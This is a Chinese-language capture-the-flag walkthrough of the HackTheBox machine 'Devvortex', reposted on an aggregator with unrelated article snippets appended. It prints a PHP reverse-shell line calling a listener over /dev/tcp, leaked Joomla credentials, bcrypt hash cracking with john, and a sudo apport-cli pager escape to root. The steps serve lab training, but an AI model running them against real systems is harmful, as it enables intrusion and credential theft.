[Meachines][Easy]Devvortex

news2024/12/27 12:30:02

Main

$ nmap -p- 10.10.11.242 --min-rate 1000

image.png

image.png

# echo '10.10.11.242 devvortex.htb'>>/etc/hosts

子域名爆破

$ apt install seclists

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://devvortex.htb/" -H "Host: FUZZ.devvortex.htb" --hl 7

image.png

$ echo '10.10.11.242 dev.devvortex.htb'>>/etc/hosts

$ gobuster dir --url "http://dev.devvortex.htb/" --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

image.png

$ curl http://dev.devvortex.htb/robots.txt

image.png

$ whatweb http://dev.devvortex.htb/administrator

image.png

searchsploit

CVE-2023-23752:未授权访问

image.png

image.png

从Exp中fetch_users是获取用户的函数

image.png

$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq

image.png

username:lewis password:P4ntherg0t1n5r3c0n##

http://dev.devvortex.htb/administrator/

image.png

导航至System->Templates->Administrator Templates

image.png

image.png

index.php把反向shell写进去就好了,Save

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.23/10032 0>&1'");

image.png

$ nc -lvnp 10032

image.png

无法权限不足读取用户logan的文件

image.png

提升shell方法1

  • script /dev/null -c /bin/bash #这个命令使用script命令将会话记录写入 /dev/null,并在新的 Bash 会话中执行 /bin/bash,即启动一个新的 Bash shell。
    CTRL + Z # 将当前进程挂起(即暂停执行),并返回到终端提示符。这样做是为了在后台执行一些任务或者进行一些其他操作,而不影响当前进程。
    stty raw -echo; fg # 将终端设置为原始(raw)模式和禁用回显(echo),然后将挂起的进程(即刚才启动的新的 Bash 会话)移动到前台运行(foreground)。这样做是为了让新的 Bash 会话能够正常运行,并且不会受到终端设置的影响。
    # 按下 Enter 键两次。这是因为在使用 stty raw -echo; fg 命令之后,终端处于原始模式,不会像平常一样处理换行符。因此,需要按下 Enter 键两次以确保命令输入被传递到新的 Bash 会话中
    export TERM=xterm # 用于设置环境变量 TERM 的值为 xterm。TERM 环境变量用于指定当前终端的类型,xterm 是一种常见的终端类型。设置为 xterm 可以帮助正确地显示终端中的文本和颜色,以及适应终端的特性和功能。

提升shell方法2:
$ SHELL=/bin/bash script -q /dev/null

www-data@devvortex:~/dev.devvortex.htb/administrator$ netstat -ano

3306端口开放着mysql服务

image.png

$ mysql -u lewis -p

P4ntherg0t1n5r3c0n##

image.png

mysql>show databases;
mysql>use joomla;
mysql>show tables;
mysql> select username,password from sd4fg_users;

image.png

$ echo "\$2y\$10\$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12">hash

保存哈希

$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash

image.png

username:logan password:tequieromucho

www-data@devvortex:~/dev.devvortex.htb/administrator$ su logan

User Flag

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ cat /home/logan/user.txt

image.png

a2e439ebea0891abde76fa39322ee67a

Root Flag

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo -l

image.png

logan用户只能执行和读该文件/usr/bin/apport-cli,不能进行修改

image.png

打开是一个python文件,我们将他下载下来分析一下

image.png

我们首先锁定系统执行命令的sys,os函数库和input,read,write一些函数,让后逆向找到利用点

image.png

跟进父类函数

image.png

跟进CLIDialog父类函数中的run,可以看到是一个选择页面

image.png

logan@devvortex:/var/www/dev.devvortex.htb/administrator$sudo /usr/bin/apport-cli

运行一下看界面

image.png

当我们输入一个字符时,会将其转为大写,然后寻找该字符在列表中的索引位置,然后索引+1,最后返回一个int数据

image.png

这里的CLIDialog.run()也就类似于input函数

第一处:CLIUserInterface.ui_present_report_details() 这是一个显示报告的函数

image.png

第二处:CLIUserInterface.ui_info_message() CLIUserInterface.ui_error_message()这是一个ui消息显示和错误消息显示

image.png

第三处:CLIUserInterface.ui_question_yesno() CLIUserInterface.ui_question_choice() 一个选择函数…

image.png

image.png

有趣的是当分析到CLIUserInterface.ui_present_report_details()中调用了一个工具

image.png

image.png

/usr/bin/sensible-pager:是一个命令行工具,用于选择并执行适合当前环境的默认分页器(pager)。在Unix和Linux系统中,分页器是用于浏览文本文件内容的工具,通常用于查看长文本文件或命令输出。

我们可以在kali中来演示如何利用/usr/bin/sensible-pager进入命令行模式

image.png

image.png

此时我们输入!/bin/bash时候,!来引导外部命令/bin/bash成功获取shell

image.png

image.png

回到靶机同样方法去获取shell

这里如果运行过一次很可能会出现异常,加-f参数进入调试模式

logan@devvortex:/var/www/dev.devvortex.htb/administrator$ sudo /usr/bin/apport-cli --help

image.png

$ sudo /usr/bin/apport-cli -f

随便写数字,到选择这一步就好了

image.png

输入V,进入到报告页面输入,!/bin/bash

image.png

成功提权

image.png

image.png

ebbf314456c1a1428c243b579b031a9f

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1614956.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Transformer】detr梳理

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 detr detr 1. 引言 论文: https://arxiv.org/pdf/2005.12872v3.pdf 时间: 2020.5.26 作者: Nicolas Carion?, Fra…

陈奂仁联手 The Sandbox 推出“Hamsterz Doodles”人物化身系列

全新人物化身系列结合艺术与实用性 开创元宇宙新篇章 著名亚洲唱作歌手兼香港电影金像奖得主陈奂仁携手 The Sandbox,兴奋地宣布推出新的元宇宙人物化身系列 —— Hamsterz Doodles 仓鼠涂鸦。 陈奂仁在 The Sandbox 推出 Hamsterz Doodles 系列,将艺术与…

智能家居—ESP32开发环境搭建

相关文章 毕业设计——基于ESP32的智能家居系统(语音识别、APP控制) 智能家居—ESP32开发环境搭建 一、下载安装二、验证三、资料获取 一、下载安装 下载安装 vscode 安装插件 创建工程 二、验证 写一个简单的函数来验证一下功能 void setup() {// put your setup c…

类和对象(2)——封装(封装的概念、包、staic)

前言 面向对象程序三大特性:封装、继承、多态。而类和对象阶段,主要研究的就是封装特性。何为封装呢?简单来说就是套壳屏蔽细节。 一、什么是封装 1.1 概念 将数据和操作数据的方法进行有机结合,隐藏对象的属性和实现细节&…

【码农圈子】想加免费的程序员微信群的看过来

群名:码农圈子 很多人后台反应,最近有没有免费的微信技术交流社群 。今天特意写一篇文章来创建一些只有程序猿的微信群。(广告党慎入!) 这些微信技术群都是完全免费,后续也不会收取任何费用 。 群规则 …

Paragon NTFS如何手动更新? Paragon NTFS格式化硬盘会损失数据吗?

Paragon NTFS for Mac常被用于实现在Mac上读写NTFS格式硬盘,然而,有时用户可能会遇到软件无法自动更新的情况,需要进行手动更新操作。下面我们来看看Paragon NTFS如何手动更新,Paragon NTFS格式化硬盘会损失数据吗的相关内容。 一…

Python 使用 pip 安装 matplotlib 模块(精华版)

pip 安装 matplotlib 模块 1.使用pip安装matplotlib(五步实现):2.使用下载的matplotlib画图: 1.使用pip安装matplotlib(五步实现): 长话短说:本人下载 matplotlib 花了大概三个半小时屡屡碰壁,险些暴走。为了不让新来的小伙伴走我的弯路,特意…

【matlab 代码的python复现】 Matlab实现的滤波器设计实现与Python 的库函数相同实现Scipy

实现一个IIR滤波器的设计 背景 Matlab 设计的滤波器通常封装过于完整,虽然在DSP中能够实现更多功能的滤波器设计但是很难实现Python端口的实现。 我们以一段原始的生物电信号EEG信号进行处理。 EEG信号 1.信号获取 EEG信号通常通过头皮电极,经过多通道采样芯片采样,将获…

mysql面试题八(SQL语句)

目录 1.SQL 基本组成部分 常用操作示例 创建表 插入数据 查询数据 更新数据 删除数据 创建索引 授予用户权限 2.常见的聚合查询 1. 计数(COUNT) 2. 求和(SUM) 3. 平均值(AVG) 4. 最大值&…

使用FPGA实现超前进位加法器

介绍 前面已经向大家介绍过8位逐位进位加法器了,今天向大家介绍4位超前进位加法器。 对于逐位进位加法器来说,计算任意一位的加法运算时,必须等到低位的加法运算结束送来进位才能运行。这种加法器结构简单,但是运算慢。 对于超…

WSL安装-问题解决

WslRegisterDistribution failed with error: 0x8004032d WslRegisterDistribution failed with error: 0x80080005 Error: 0x80080005 ??????? 解决: 1、 winr输入:optionalfeatures.exe 2、打开这两项

钉钉报警的优势在哪里?如何配置钉钉机器人进行报警信息推送?

一、常见的报警方式 1、短信或者电话报警 这样的报警方式更适合高级别的报警提醒,用于处理紧急情况。出现级别不高而又频繁地发送短信会让人产生排斥感,而且电话或者短信的报警方式也存在一定的成本。 2、邮件报警 邮件报警更适用于工作时的提醒&…

支付方式模块代码示例

支付方式模块代码示例 效果展示 <view class"card"><uni-title type"h3" title"支付方式"></uni-title><radio-group change"radioChange"><label class"radio"><view class"zf-t…

ThingsBoard通过规则链使用邮件发送报警信息

1、描述 2、通过规则链路配置发送邮件只需 两步 3、案例 1、基础链路 2、选择变换节点里面的To Email 3、 编辑节点to email 4、 将创建告警与to email链接 5、选择外部节点中的send email 6、配置邮箱相关信息&#xff0c;如过不知道密钥如何获取的&#xff0c;请查看下…

yolo-驾驶行为监测:驾驶分心检测-抽烟打电话检测

在现代交通环境中&#xff0c;随着汽车技术的不断进步和智能驾驶辅助系统的普及&#xff0c;驾驶安全成为了公众关注的焦点之一 。 分心驾驶&#xff0c;尤其是抽烟、打电话等行为&#xff0c;是导致交通事故频发的重要因素。为了解决这一问题&#xff0c;研究人员和工程师们…

JRT质控数据录入

之前有时间做了质控物维护界面&#xff0c;有了维护之后就应该提供可以录入业务数据的功能了&#xff0c;当时给质控物预留了一个“项目批次业务数据”的功能说是业务数据会给每天拷贝维护数据。这次一起补上&#xff0c;展示JRT怎么写质控数据录入的界面。 界面如下&#xff…

【Linux基础】Linux基础概念

目录 前言 浅谈什么是文件&#xff1f; Linux下目录结构的认识及路径 目录结构 路径 家目录 什么是递归式的删除 重定向 输出重定向&#xff1a; 追加重定向&#xff1a; 输入重定向&#xff1a; 命令行管道 shell外壳 为什么需要shell外壳&#xff1f; shell外壳…

智能算法 | Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法

智能算法 | Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法 目录 智能算法 | Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法效果一览基本介绍程序设计参考资料效果一览 基本介绍 Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法 融合自适应…

Linux下SPI设备驱动实验:使用内核提供的读写SPI设备中的数据的函数

一. 简介 前面文章的学习&#xff0c;已经实现了 读写SPI设备中数据的功能。文章如下&#xff1a; Linux下SPI设备驱动实验&#xff1a;验证读写SPI设备中数据的函数功能-CSDN博客 本文来使用内核提供的读写SPI设备中的数据的API函数&#xff0c;来实现读写SPI设备中数据。 …

【竞技宝】中超:国安本轮4比1大胜,张稀哲表现不俗

国安在本轮中超主场跟青岛西海岸相遇,这场比赛球队进攻多点开花,最终以4比1将对手斩落马下,拿到了久违的大胜。其中,张稀哲、李可、王子铭都在比赛中有不俗表现。首先,张稀哲身为国安中场核心,他在比赛中传出了多脚有威胁的球,并且成功帮助队友得分。张稀哲在国安神兵天降的表现…